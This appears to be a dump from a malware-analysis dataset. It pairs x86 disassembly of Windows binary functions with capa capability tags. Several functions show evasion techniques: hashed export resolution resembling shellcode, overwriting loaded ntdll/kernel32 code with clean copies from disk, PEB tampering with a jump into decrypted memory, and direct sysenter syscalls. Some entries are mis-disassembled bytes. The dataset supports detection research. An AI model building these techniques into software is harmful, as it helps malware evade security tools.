joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43ba78
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x43ba8f
add esp, 0xfffffff0
call fcn.0040305c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00411a60
mov byte [ebx + 0x28], 0
mov dl, 1
mov eax, dword [0x40bb70]
call fcn.00402d44
mov dword [ebx + 0x80], eax
mov dl, 1
mov eax, dword [0x40bb70]
call fcn.00402d44
mov dword [ebx + 0x98], eax
xor eax, eax
mov dword [ebx + 0x50], eax
xor eax, eax
mov dword [ebx + 0x74], eax
mov dword [ebx + 0x4c], 0x80000018
mov dword [ebx + 0x68], 0x1f4
mov byte [ebx + 0x6c], 1
xor eax, eax
mov dword [ebx + 0x70], eax
mov dword [ebx + 0x64], 0x9c4
mov byte [ebx + 0x78], 0
mov byte [ebx + 0x8d], 1
mov dl, 1
mov eax, dword [0x41365c]
call fcn.004190bc
mov esi, eax
mov dword [ebx + 0x88], esi
push 0x43bc04
mov eax, dword [0x440ac0]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0041948c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x43d590
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x440ac0]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_2
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040978c
test eax, eax
je 0x43bb82
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00407e14
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.004097b4
test eax, eax
je 0x43bb96
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x7c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00403c14
mov eax, dword [0x4409e4]
cmp byte [eax], 0
jne 0x43bbc7
mov eax, ebx
call fcn.0043bcf0
mov byte [ebx + 0x49], 1
mov byte [ebx + 0x4a], 1
mov byte [ebx + 0x4b], 1
mov byte [ebx + 0x8e], 1
xor eax, eax
mov dword [ebx + 0x90], eax
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x43bbf9
call fcn.004030b4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43bf60
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4417c8]
cmp dword [eax + 0x24], 0
je 0x43c003
cmp dword [ebx + 0x84], 0
jne 0x43bffd
mov eax, dword [ebx + 0x24]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x43bef0
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x80]
cmp dword [eax + 8], 0
je 0x43bffd
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x43bfc6
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x80]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x43bffd
push 0x13
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x80]
call fcn.0040d234
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x43bfd5
inc dword [ebx + 0x84]
pop ecx
pop edx
pop esi
pop ebx
ret
Function at 0x43ca10
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x94], 0
je 0x43ca45
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x24]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403acc
jmp 0x43ca4f
mov eax, esi
mov edx, dword [ebx + 0x7c]
call fcn.00403a38
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x43d904
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x74]
test esi, esi
je 0x43d93c
mov eax, esi
call fcn.004257b8
test al, al
je 0x43d93c
mov eax, dword [ebx + 0x74]
call fcn.004254bc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x43d93c
push 0
mov eax, dword [ebx + 0x74]
call fcn.004254bc
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x43f78c
Capabilities:
Create process on windows

Disassembly:
push 1
mov eax, dword [0x44181c]
call fcn.00403e28
push eax
call sub.kernel32.dll_WinExec
mov eax, dword [0x440be4]
mov eax, dword [eax]
call fcn.0043cf18
ret
Function at 0x40b424
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add al, byte [eax - 0x76]
xchg edx, eax
sbb bh, al
inc eax
add byte [eax + 0x5408ff16], cl
aaa
std
mov bl, byte [ebp + ecx - 2]
xor ebx, 3
shl edx, 4
mov gs, ebx
inc edx
or edx, ebx
xor esi, dword [eax + 0x18929313]
mov dword [eax], 0x8a065088
push esp
aaa
das
mov bl, byte [ebp - 0x1d7c002d]
xadd dword [edx + eax], ebx
shr dword [esi + 0x7f], 0xb
rol dword [eax - 0xc], cl
mov byte [0x3540c718], al
mov byte [eax - 1], dl
mov dl, byte [eax + edi*4 - 4]
and dword [ebx + 0x3f], 0x40
cmp esi, ecx
mov byte [0x40c7f892], al
add byte [eax - 0x178300b0], cl
mov ebp, edx
adc byte [ebx], bh
bnd jge 0x40b4e6
xor ecx, ecx
mov cl, byte [esi + edi]
iretd
invalid

Function at 0x40b540
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x40b54a
xor edi, edi
nop
nop
jmp 0x40b55d
xor eax, eax
jmp 0x40b56f
lodsb al, byte [esi]
cmp al, 0x61
jmp 0x40b581
jl 0x40b5a7
jmp 0x40b593
jmp 0x40b5a4
sub al, 0x20
nop
jmp 0x40b5b7
ror edi, 0xd
nop
jmp 0x40b5cc
add edi, eax
nop
dec ecx
jmp 0x40b5da
jne 0x40b54d
nop
push edx
nop
jmp 0x40b5f3
push edi
mov edx, dword [edx + 0x10]
nop
mov eax, dword [edx + 0x3c]
nop
jmp 0x40b609
add eax, edx
jmp 0x40b615
mov eax, dword [eax + 0x78]
test eax, eax
nop
je 0x40b7fa
jmp 0x40b62c
add eax, edx
jmp 0x40b63b
mov ebx, dword [eax + 0x20]
nop
jmp 0x40b64c
add ebx, edx
nop
jmp 0x40b65e
push eax
nop
mov ecx, dword [eax + 0x18]
jmp 0x40b674
nop
jmp 0x40b686
test ecx, ecx
nop
jmp 0x40b699
je 0x40b7f8
dec ecx
jmp 0x40b6ac
xor edi, edi
jmp 0x40b6bc
mov esi, dword [ebx + ecx*4]
jmp 0x40b6ce
add esi, edx
nop
nop
jmp 0x40b6e1
xor eax, eax
nop
jmp 0x40b6f8
lodsb al, byte [esi]
ror edi, 0xd
add edi, eax
cmp al, ah
nop
jne 0x40b6d1
nop
jmp 0x40b716
add edi, dword [ebp - 8]
jmp 0x40b72b
cmp edi, dword [ebp + 0x24]
jmp 0x40b740
jne 0x40b674
nop
jmp 0x40b75b
pop eax
nop
mov ebx, dword [eax + 0x24]
jmp 0x40b773
add ebx, edx
nop
mov cx, word [ebx + ecx*2]
nop
mov ebx, dword [eax + 0x1c]
jmp 0x40b78c
add ebx, edx
mov eax, dword [ebx + ecx*4]
nop
add eax, edx
mov dword [esp + 0x24], eax
jmp 0x40b7ab
pop ebx
pop eax
nop
pop edi
jmp 0x40b80f
pop edx

Function at 0x40b588
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xlatb
pop ecx
adc al, 0xdf
pop edx
cmpsb byte [esi], byte es:[edi]
mov ebp, 0x74eb11cd
adc ebx, ebp
invalid

Function at 0x40b590
Capabilities:
Resolve function by parsing pe exports

Disassembly:
stosd dword es:[edi], eax
lea edi, [esp - 0x15]
push cs
ret
adc ebx, ebp
je 0x40b57f
setae byte [0x94f9afbf]
imul ebx, dword [eax + edi*8 + 0x81d7025], 0x202c566d
Function at 0x40ae3f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43cd78]
jne 0x40ae49
repz ret
jmp fcn.0040d9dc

Function at 0x40d483
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x43cd78]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040654a
and dword [ebp - 0x14], 0
cmp dword [0x440744], 0
mov dword [ebp - 0x18], eax
jne 0x40d536
push 0x402be4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40d5de
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402bd8
push ebx
call edi
test eax, eax
je 0x40d5de
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402bc8
push ebx
mov dword [0x440744], eax
call edi
push eax
call esi
push 0x402bb4
push ebx
mov dword [0x440748], eax
call edi
push eax
call esi
push 0x402b98
push ebx
mov dword [0x44074c], eax
call edi
push eax
call esi
mov dword [0x440754], eax
test eax, eax
je 0x40d536
push 0x402b80
push ebx
call edi
push eax
call esi
mov dword [0x440750], eax
mov eax, dword [0x440750]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40d58f
cmp dword [0x440754], ecx
je 0x40d58f
push eax
call esi
push dword [0x440754]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40d58f
test ebx, ebx
je 0x40d58f
call edi
test eax, eax
je 0x40d586
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40d586
test byte [ebp - 8], 1
jne 0x40d58f
or dword [ebp + 0x10], 0x200000
jmp 0x40d5c2
mov eax, dword [0x440748]
cmp eax, dword [ebp - 0x18]
je 0x40d5c2
push eax
call esi
test eax, eax
je 0x40d5c2
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40d5c2
mov eax, dword [0x44074c]
cmp eax, dword [ebp - 0x18]
je 0x40d5c2
push eax
call esi
test eax, eax
je 0x40d5c2
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x440744]
call esi
test eax, eax
je 0x40d5de
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40d5e0
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ae3f
leave
ret
Function at 0x4237b0
Capabilities:
Accept command line arguments
Delete directory
Get common file path

Disassembly:
mov eax, 0x1020
call fcn.0040e960
cmp dword [0x22826cc], 0x37
jne 0x42386a
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x403448
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
lea eax, [esp + 0x424]
push eax
push 0x403458
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea ecx, [esp + 0x824]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [esp + 4]
push edx
push 0
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea ecx, [esp + 8]
push ecx
push 0x4034b0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
lea edx, [esp + 0x20]
push edx
push 0
push 0x4034b8
push 0x4034c8
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0x403518
push 0x4035d8
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov eax, dword [0x22826d0]
mov dword [esp], eax
mov eax, 0x5d1
add dword [esp], eax
mov ecx, dword [esp]
mov dl, byte [ecx + esi]
mov eax, dword [0x44585c]
mov byte [eax + esi], dl
add esp, 0x1020
ret

Function at 0x4238a0
Capabilities:
Manipulate console buffer

Disassembly:
sub esp, 0x64
mov ecx, dword [esp + 0x68]
mov eax, dword [ecx]
mov edx, dword [0x43d388]
push ebx
push ebp
mov ebp, dword [0x43d384]
push esi
mov esi, dword [ecx + 4]
mov ecx, dword [0x43d380]
mov dword [esp + 0x24], ecx
mov ecx, dword [0x43d38c]
mov ebx, 0xc6ef3720
push edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ebx
mov dword [esp + 0x24], edx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x1c], 0x20
jmp 0x4238f4
mov eax, dword [esp + 0x14]
mov edx, eax
mov ecx, eax
shr edx, 5
add edx, dword [esp + 0x20]
shl ecx, 4
add ecx, dword [esp + 0x24]
add eax, ebx
xor edx, ecx
xor edx, eax
sub esi, edx
mov ecx, esi
shl ecx, 4
mov dword [0x227867c], 0
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x28]
add dword [esp + 0x10], eax
cmp dword [0x22826cc], 0x1be
lea edi, [ebx + esi]
jne 0x423949
lea edx, [esp + 0x2c]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov eax, esi
shr eax, 5
add eax, ebp
xor eax, edi
xor dword [esp + 0x10], eax
mov dword [0x2278680], 0xff6b3619
mov dword [0x2278684], 0xffffffff
mov eax, dword [esp + 0x10]
sub dword [esp + 0x14], eax
mov ecx, dword [0x22826cc]
cmp ecx, 0x93
je 0x42398d
lea eax, [esp + 0x18]
call fcn.00423890
mov ebx, dword [esp + 0x18]
dec dword [esp + 0x1c]
jne 0x4238f0
cmp ecx, 0x8d4
jne 0x4239c1
lea ecx, [esp + 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [esp + 0x78]
mov edx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], edx
pop ebx
add esp, 0x64
ret 4
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], ecx
pop ebx
add esp, 0x64
ret 4
Function at 0x4239e0
Capabilities:
Manipulate console buffer

Disassembly:
push ecx
mov eax, dword [0x22826cc]
shr eax, 3
push esi
mov esi, dword [0x44585c]
test eax, eax
je 0x423a24
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push edi
mov edi, eax
mov edi, edi
cmp dword [0x22826cc], 0x1c
jne 0x423a16
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0
call ebx
push esi
call fcn.004238a0
add esi, 8
dec edi
jne 0x423a00
pop edi
pop ebx
pop esi
pop ecx
ret
Function at 0x4016d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x102c
call fcn.00402fa0
mov eax, dword [0x406004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, eax
mov dword [ebp - 0x100c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x1024], ebx
push edi
movq qword [ebp - 0x1014], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x1000
mov dword [ebp - 0x101c], eax
lea eax, [ebp - 0x1004]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1004]
push 0x1000
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x1004]
push 0x4042cc
push eax
call esi
push edi
lea eax, [ebp - 0x1004]
push eax
call esi
push 0xc
lea eax, [ebp - 0x1014]
push eax
push dword [ebp - 0x101c]
push ebx
call dword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov esi, dword [ebp - 0x1014]
lea eax, [ebp - 0x1004]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
mov dword [ebp - 0x1018], esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0
push 0
push 0x1000002
push 0
push eax
mov dword [ebp - 0x1028], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
push 0
push 4
push eax
mov dword [ebp - 0x102c], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, dword [esi + 0x3c]
add ebx, esi
mov dword [ebp - 0x1020], eax
xor eax, eax
xor esi, esi
cmp ax, word [ebx + 6]
jae 0x40189c
nop dword [eax + eax]
movzx eax, si
lea ecx, [eax + eax*4]
movzx eax, word [ebx + 0x14]
add eax, ebx
lea edi, [eax + ecx*8]
mov eax, str..text
lea ecx, [edi + 0x18]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401827
test dl, dl
je 0x401823
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401827
add ecx, 2
add eax, 2
test dl, dl
jne 0x401807
xor eax, eax
jmp 0x40182c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401891
mov dword [ebp - 0x1008], eax
lea eax, [ebp - 0x1008]
push eax
mov eax, dword [edi + 0x24]
add eax, dword [ebp - 0x1018]
push 0x40
push dword [edi + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [edi + 0x20]
mov eax, dword [ebp - 0x1020]
add eax, dword [edi + 0x24]
push eax
mov eax, dword [ebp - 0x1018]
add eax, dword [edi + 0x24]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x1008]
push eax
push dword [ebp - 0x1008]
mov eax, dword [edi + 0x24]
push dword [edi + 0x20]
add eax, dword [ebp - 0x1018]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp si, word [ebx + 6]
jb 0x4017f0
push dword [ebp - 0x1024]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1028]
call esi
push dword [ebp - 0x102c]
call esi
push dword [ebp - 0x101c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401e48
mov esp, ebp
pop ebp
ret
Function at 0x4018e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x406004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov ecx, 8
mov esi, str.jDpyqrckoKlxPmNisNmKUJHx77s6IiQS
lea edi, [ebp - 0x28]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x34], 3
mov dword [ebp - 0x4c], 0x78c24
mov eax, dword [ebp - 0x4c]
add eax, 1
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x50], eax
push 0x5f5e100
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x40194e
or eax, 0xffffffff
jmp 0x401aa4
mov ecx, dword [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call fcn.004010f0
movzx edx, al
test edx, edx
je 0x40196e
mov ecx, str.kernel32.dll
call fcn.004016d0
push 0x2000
push 0
push 0x47f008
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x2000
push 0x47f008
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 0x40], 1
cmp dword [ebp - 0x40], 0
jle 0x401a16
mov dword [ebp - 0x38], 0x14
mov eax, dword [ebp - 0x38]
sub eax, 1
mov dword [ebp - 0x38], eax
mov eax, 1
xor edx, edx
div dword [ebp - 0x34]
imul eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x30]
neg ecx
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x34]
add edx, 2
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x38], 1
jg 0x4019a8
cmp dword [ebp - 0x38], 0
je 0x401a12
mov eax, 1
xor edx, edx
div dword [ebp - 0x34]
imul eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x30]
neg eax
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x34]
add ecx, 2
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x40]
add edx, dword [ebp - 0x38]
mov dword [ebp - 0x40], edx
jmp 0x401a14
jmp 0x401a16
jmp 0x40199b
call fcn.004010d0
movzx eax, al
test eax, eax
je 0x401a2c
mov ecx, str.ntdll.dll
call fcn.004016d0
call fcn.004010f0
movzx ecx, al
test ecx, ecx
je 0x401a3d
call fcn.00401410
lea edx, [ebp - 0x28]
push edx
push str.SWAT0umb29SIggLI
push 0
push 0
mov eax, dword [ebp - 0x4c]
push eax
push 0x406048
mov ecx, dword [ebp - 0x50]
push ecx
call fcn.00402ae4
add esp, 0x1c
mov ecx, dword [ebp - 0x50]
call fcn.00401100
mov dword [ebp - 0x44], eax
mov edx, dword fs:[0x30]
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x44]
mov edx, dword [ecx]
mov dword [eax + 8], edx
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0x14]
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x44]
mov edx, dword [ecx]
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 8]
mov dword [ebp - 0x2c], ecx
jmp dword [ebp - 0x2c]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401e48
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401ac0
Capabilities:
Access peb ldr_data
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [0x481220], 0
push esi
push edi
jne 0x401c6b
mov eax, dword fs:[0x30]
xor esi, esi
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
mov eax, dword [edx + 0x18]
test eax, eax
je 0x401c76
nop
mov edi, eax
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
test eax, eax
je 0x401b23
mov ecx, dword [eax + edi + 0xc]
lea esi, [eax + edi]
mov eax, dword [ecx + edi]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x401b23
mov eax, dword [ecx + edi + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x401b2c
mov edx, dword [edx]
mov eax, dword [edx + 0x18]
test eax, eax
jne 0x401af0
test esi, esi
je 0x401c76
mov eax, dword [esi + 0x1c]
mov edx, dword [esi + 0x18]
add eax, edi
mov ecx, dword [esi + 0x20]
mov dword [ebp - 0x14], eax
add ecx, edi
mov eax, dword [esi + 0x24]
xor esi, esi
add eax, edi
mov dword [ebp - 8], edx
push ebx
mov dword [ebp - 4], esi
lea eax, [eax + edx*2]
add eax, 0xfffffffe
xor ebx, ebx
mov dword [ebp - 0xc], eax
mov eax, edx
lea edx, [eax - 1]
lea edx, [ecx + edx*4]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10], edx
nop dword [eax + eax]
mov edx, dword [edx]
mov esi, 0x775a
add edx, edi
cmp word [edx], si
mov esi, dword [ebp - 4]
jne 0x401bd1
mov esi, 0x644334c7
movzx eax, word [edx]
lea edx, [edx + 1]
mov ecx, esi
ror ecx, 8
add ecx, eax
xor esi, ecx
cmp byte [edx], 0
jne 0x401b86
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
mov dword [ebx + 0x481224], esi
mov esi, dword [ebp - 4]
movzx eax, word [ecx]
inc esi
mov dword [ebp - 4], esi
mov eax, dword [edx + eax*4]
mov dword [ebx + 0x481228], eax
mov dword [ebx + 0x48122c], 0
add ebx, 0xc
cmp ebx, 0x1770
je 0x401be8
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
dec eax
sub edx, 4
mov dword [ebp - 8], eax
sub ecx, 2
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], ecx
test eax, eax
jne 0x401b70
xor ecx, ecx
mov dword [0x481220], esi
lea eax, [esi - 1]
mov dword [ebp - 0xc], ecx
test eax, eax
je 0x401c6a
nop word [eax + eax]
mov eax, esi
xor ebx, ebx
sub eax, ecx
sub eax, 1
je 0x401c5f
mov edi, dword [0x481228]
mov eax, 0x481228
mov edx, edi
lea ecx, [eax + 0xc]
mov edi, dword [ecx]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
cmp edx, edi
jbe 0x401c4f
mov esi, dword [eax - 4]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
mov dword [eax - 4], ecx
mov ecx, dword [eax + 0x10]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x14]
mov dword [eax], edi
mov edi, dword [ebp - 0x10]
mov dword [eax + 8], esi
mov dword [ecx], edi
mov dword [eax + 0x10], edx
mov esi, dword [0x481220]
mov eax, ecx
inc ebx
mov ecx, esi
sub ecx, dword [ebp - 0xc]
dec ecx
cmp ebx, ecx
jb 0x401c16
mov ecx, dword [ebp - 0xc]
inc ecx
lea eax, [esi - 1]
mov dword [ebp - 0xc], ecx
cmp ecx, eax
jb 0x401c00
pop ebx
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401cf3
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret

Function at 0x401d2b
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret
Function at 0x401d63
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret

Function at 0x401d9b
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret

Function at 0x401dd3
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret

Function at 0x401e0b
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret

Function at 0x401e43
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret

Function at 0x402691
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4026d0
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4026d0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4026d0
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4026d0
cmp dword [ecx + 0x74], 0xe
jbe 0x4026d0
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x402a17
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
push edi
push 0x18
pop ebx
add eax, 0x10
push 4
mov ebp, eax
pop edi
mov eax, dword [ebp - 0x10]
mov esi, eax
mov ecx, dword [ebp + 0x10]
shr eax, 8
shl esi, 0x18
or esi, eax
mov eax, dword [ebp]
mov edx, eax
shl eax, 9
shr edx, 0x17
or edx, eax
mov eax, ecx
and eax, edx
add eax, eax
xor eax, ecx
add eax, eax
xor eax, esi
mov dword [ebp + 0x10], eax
mov eax, ecx
or eax, esi
add eax, eax
xor eax, edx
xor eax, esi
mov dword [ebp], eax
mov eax, edx
and eax, esi
lea ebp, [ebp + 4]
shl eax, 3
xor eax, ecx
xor eax, edx
mov dword [ebp - 0x14], eax
sub edi, 1
jne 0x402a2a
mov eax, ebx
and eax, 3
sub eax, edi
mov edi, dword [esp + 0x14]
je 0x402aa1
dec eax
sub eax, 1
jne 0x402ac0
mov ecx, dword [edi]
mov eax, dword [edi + 8]
mov dword [edi], eax
mov eax, dword [edi + 0xc]
mov dword [edi + 8], ecx
mov ecx, dword [edi + 4]
mov dword [edi + 4], eax
jmp 0x402abd
mov eax, dword [edi]
mov edx, dword [edi + 4]
mov ecx, dword [edi + 8]
mov dword [edi + 4], eax
mov eax, dword [edi + 0xc]
mov dword [edi + 8], eax
mov eax, ebx
or eax, 0x9e377900
xor eax, edx
mov dword [edi], eax
mov dword [edi + 0xc], ecx
lea eax, [edi + 0x10]
sub ebx, 1
jne 0x402a25
pop edi
pop esi
pop ebp
pop ebx
ret